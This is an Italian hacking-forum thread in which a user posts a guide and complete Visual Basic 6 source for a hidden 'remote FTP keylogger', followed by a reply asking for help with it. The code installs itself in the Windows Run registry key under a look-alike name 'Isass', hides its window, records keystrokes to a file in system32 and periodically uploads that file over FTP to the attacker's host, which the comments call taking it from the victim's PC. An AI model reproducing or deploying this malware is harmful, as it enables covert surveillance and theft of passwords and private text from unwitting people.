Total Hack Cheat
Benvenuto/a su Total hack Cheat....
non aspettate altro tempo Registratevi!!

Guida Creare keylogger VB6

Vedere l'argomento precedente Vedere l'argomento seguente Andare in basso

Guida Creare keylogger VB6

Messaggio Da RaYoZ il Sab Set 04, 2010 10:37 pm

Creare un Keylogger in vb6
Salve,eccovi una guida su come creare un keylogger in remoto tramite la programmazione in vb6 iniziamo:

1. Aprire VB6
2. Scegliere un nuovo progetto di tipo Standard EXE
3. Creare un 6 Timer e un Textbox, al Timer1 scrivete nella propriet? "Interval" il numero 0. Nei Timer2, 3, 4, 5, 6 mettete nella propriet? "Interval" il numero 60000 (sarebbe un minuto)
4. Date il nome "testo" senza virgolette al textbox
5. Fate Project > Components > Spuntate Microsoft Internet Transfer Controls e infine cliccate su Applica e successivamente su OK
6. Cliccate due volte sul form, vi si aprir? la finestra con tutti i codici, cancellate tutto ci? che c'e' scritto e incollate il codice del mio KeyLogger.
7. Modificate i 4 campi seguenti come volete(il nome del keylogger):
Set reg = CreateObject("Wscript.shell")
reg.regwrite "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\Curr entVersion\Run\Isass", App.Path & "\nomekeylogger.exe"
Sostituite nomekeylogger.exe con il nome del file.
"C:\WINDOWS\system32\keylog.txt"
Modificatelo con la directory di dove si salveranno i log del Key, questa directory deve essere corrispondente all'altra "C:\WINDOWS\system32\keylog.txt" che si trova in prossimit? del codice PUT.
account = ".Shell" 'nome nostro account hosting
pswd = "******" 'password account hosting
ftpwebsite = "ftp://mywebsite*****************" 'indirizzo ftp nostro host
nomefile = "log.txt"

Modificate il nome log.txt tra virgolette con il nome che vorreste che avr? il file quando sar? uploadato sul vostro host.
8. Create un nuovo Modulo (Project > Add Module) e incollate il codice del Modulo.
9. Truccate al meglio il vostro programmino, o semplicemente settate la propriet? "Visible" del Form1 su False.
10. Salvare il progetto e compilare il file eseguibile.
Source completa del mio keylogger fatto qualche settimana fa :
Private Sub Form_Load()
Set reg = CreateObject("Wscript.shell")
reg.regwrite "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\Curr entVersion\Run\Isass", App.Path & "\nomekeylogger.exe"
Dim Ritardo As Long 'dichiarazione variabile ritardo
Dim testo As String 'dichiarazione variabile testo
SystemParamsLong SPI_GETKEYBOARDSPEED, 0, Ritardo, 0 'settando la variabile ritardo
Timer1.Interval = Ritardo + 150 'imposto un ritardo minimo per captare i tasti, altrimenti potrebbe essere simulata la pressione ripetuta di un tasto
End Sub

Private Sub testo_Change() 'quando il textbox cambia...
Open "C:\WINDOWS\system32\keylog.txt" For Append As #1 'creo un file e ci scrivo tutto il testo digitato
Print #1, "Remote FTP KeyLogger v1 By Corrupted aka FF - Testo digitato: " & testo.Text & ", "
Close #1
End Sub

Private Sub Timer1_Timer() 'il timer1 capta tutto ci? che viene scritto ogni tot secondi
If GetAsyncKeyState(vbKeyA) Then
testo = testo + "a"
ElseIf GetAsyncKeyState(vbKeyB) Then
testo = testo + "b"
ElseIf GetAsyncKeyState(vbKeyC) Then
testo = testo + "c"
ElseIf GetAsyncKeyState(vbKeyD) Then
testo = testo + "d"
ElseIf GetAsyncKeyState(vbKeyE) Then
testo = testo + "e"
ElseIf GetAsyncKeyState(vbKeyF) Then
testo = testo + "f"
ElseIf GetAsyncKeyState(vbKeyG) Then
testo = testo + "g"
ElseIf GetAsyncKeyState(vbKeyH) Then
testo = testo + "h"
ElseIf GetAsyncKeyState(vbKeyI) Then
testo = testo + "i"
ElseIf GetAsyncKeyState(vbKeyJ) Then
testo = testo + "j"
ElseIf GetAsyncKeyState(vbKeyK) Then
testo = testo + "k"
ElseIf GetAsyncKeyState(vbKeyL) Then
testo = testo + "l"
ElseIf GetAsyncKeyState(vbKeyM) Then
testo = testo + "m"
ElseIf GetAsyncKeyState(vbKeyN) Then
testo = testo + "n"
ElseIf GetAsyncKeyState(vbKeyO) Then
testo = testo + "o"
ElseIf GetAsyncKeyState(vbKeyP) Then
testo = testo + "p"
ElseIf GetAsyncKeyState(vbKeyQ) Then
testo = testo + "q"
ElseIf GetAsyncKeyState(vbKeyR) Then
testo = testo + "r"
ElseIf GetAsyncKeyState(vbKeyS) Then
testo = testo + "s"
ElseIf GetAsyncKeyState(vbKeyT) Then
testo = testo + "t"
ElseIf GetAsyncKeyState(vbKeyU) Then
testo = testo + "u"
ElseIf GetAsyncKeyState(vbKeyV) Then
testo = testo + "v"
ElseIf GetAsyncKeyState(vbKeyW) Then
testo = testo + "w"
ElseIf GetAsyncKeyState(vbKeyX) Then
testo = testo + "x"
ElseIf GetAsyncKeyState(vbKeyY) Then
testo = testo + "y"
ElseIf GetAsyncKeyState(vbKeyZ) Then
testo = testo + "z"
ElseIf GetAsyncKeyState(vbKey0) Then
testo = testo + "0"
ElseIf GetAsyncKeyState(vbKey1) Then
testo = testo + "1"
ElseIf GetAsyncKeyState(vbKey2) Then
testo = testo + "2"
ElseIf GetAsyncKeyState(vbKey3) Then
testo = testo + "3"
ElseIf GetAsyncKeyState(vbKey4) Then
testo = testo + "4"
ElseIf GetAsyncKeyState(vbKey5) Then
testo = testo + "5"
ElseIf GetAsyncKeyState(vbKey6) Then
testo = testo + "6"
ElseIf GetAsyncKeyState(vbKey7) Then
testo = testo + "7"
ElseIf GetAsyncKeyState(vbKey8) Then
testo = testo + "8"
ElseIf GetAsyncKeyState(vbKey9) Then
testo = testo + "9"
ElseIf GetAsyncKeyState(vbKeyEscape) Then
testo = testo + ""
ElseIf GetAsyncKeyState(vbKeySpace) Then
testo = testo + ""
ElseIf GetAsyncKeyState(vbKeyBack) Then
testo = testo + ""
ElseIf GetAsyncKeyState(vbKeyDelete) Then
testo = testo + ""
ElseIf GetAsyncKeyState(vbKeyDown) Then
testo = testo + ""
ElseIf GetAsyncKeyState(vbKeyShift) Then
testo = testo + ""
ElseIf GetAsyncKeyState(vbKeyTab) Then
testo = testo + ""
ElseIf GetAsyncKeyState(vbKeyUp) Then
testo = testo + ""
ElseIf GetAsyncKeyState(vbKeyRight) Then
testo = testo + ""
ElseIf GetAsyncKeyState(vbKeyLeft) Then
testo = testo + ""
ElseIf GetAsyncKeyState(vbKeyPageUp) Then
testo = testo + ""
ElseIf GetAsyncKeyState(vbKeyPageDown) Then
testo = testo + ""

ElseIf GetAsyncKeyState(vbKeyF1) Then
testo = testo + ""
ElseIf GetAsyncKeyState(vbKeyF2) Then
testo = testo + ""
ElseIf GetAsyncKeyState(vbKeyF3) Then
testo = testo + ""
ElseIf GetAsyncKeyState(vbKeyF4) Then
testo = testo + ""
ElseIf GetAsyncKeyState(vbKeyF5) Then
testo = testo + ""
ElseIf GetAsyncKeyState(vbKeyF6) Then
testo = testo + ""
ElseIf GetAsyncKeyState(vbKeyF7) Then
testo = testo + ""
ElseIf GetAsyncKeyState(vbKeyF8) Then
testo = testo + ""
ElseIf GetAsyncKeyState(vbKeyF9) Then
testo = testo + ""
ElseIf GetAsyncKeyState(vbKeyF10) Then
testo = testo + ""
ElseIf GetAsyncKeyState(vbKeyF11) Then
testo = testo + ""
ElseIf GetAsyncKeyState(vbKeyF12) Then
testo = testo + ""
ElseIf GetAsyncKeyState(vbKeF13) Then
testo = testo + ""
ElseIf GetAsyncKeyState(vbKeyEnd) Then
testo = testo + ""
End If
End Sub


Private Sub Timer2_Timer() 'ciclo per evitare connessioni molteplici al ftp
Timer3.Enabled = True
Timer2.Enabled = False
End Sub

Private Sub Timer3_Timer() 'vedi commento timer2
Timer4.Enabled = True
Timer3.Enabled = False
End Sub

Private Sub Timer4_Timer() 'vedi commento timer2
Timer5.Enabled = True
Timer4.Enabled = False
End Sub

Private Sub Timer5_Timer() 'vedi commento timer2
Timer6.Enabled = True
Timer5.Enabled = False
End Sub

Private Sub Timer6_Timer() 'vedi commento timer2 + upload file
Dim nomefile As String 'dichiarazione nomefile, ossia il nome del file quando verr? uploadato sul nostro ftp
Dim ftpwebsite As String 'dichiarazione ftpwebsite, ossia l'indirizzo ftp del nostro sito
account = ".Shell" 'nome nostro account hosting
pswd = "******" 'password account hosting
ftpwebsite = "ftp://mywebsite*****************" 'indirizzo ftp nostro host
Inet1.URL = ftpwebsite 'settaggio indirizzo ftp
Inet1.UserName = account 'settaggio account
Inet1.Password = pswd 'settaggio password
nomefile = "log.txt" 'sostituire log.txt con il nome che vorrete dare al file uploadato sul vostro host
Inet1.Execute Inet1.URL, "PUT C:\WINDOWS\system32\keylog.txt " & nomefile 'sostituire c:\windows\system32\keylog.txt con l'indirizzo del file che dovete prelevare dal pc della vittima
Do While Inet1.StillExecuting = True 'looooop ti amo
DoEvents
Loop
Timer6.Enabled = False
Timer2.Enabled = True
End Sub


Spero vi sia stato utile.

RaYoZ
Admin
Admin

Messaggi : 1040
Punti : 2245
Data d'iscrizione : 03.04.10
Età : 22
Località : immerso nei pensieri

Tornare in alto Andare in basso

Re: Guida Creare keylogger VB6

Messaggio Da Misterx il Mar Feb 14, 2012 4:04 pm

ciau hai skype xke mi servirebbe un aiuto cn il key pls

Misterx
Nuovo Utente
Nuovo Utente

Messaggi : 2
Punti : 4
Data d'iscrizione : 11.02.12

Tornare in alto Andare in basso

Vedere l'argomento precedente Vedere l'argomento seguente Tornare in alto

- Argomenti simili

 
Permesso di questo forum:
Non puoi rispondere agli argomenti in questo forum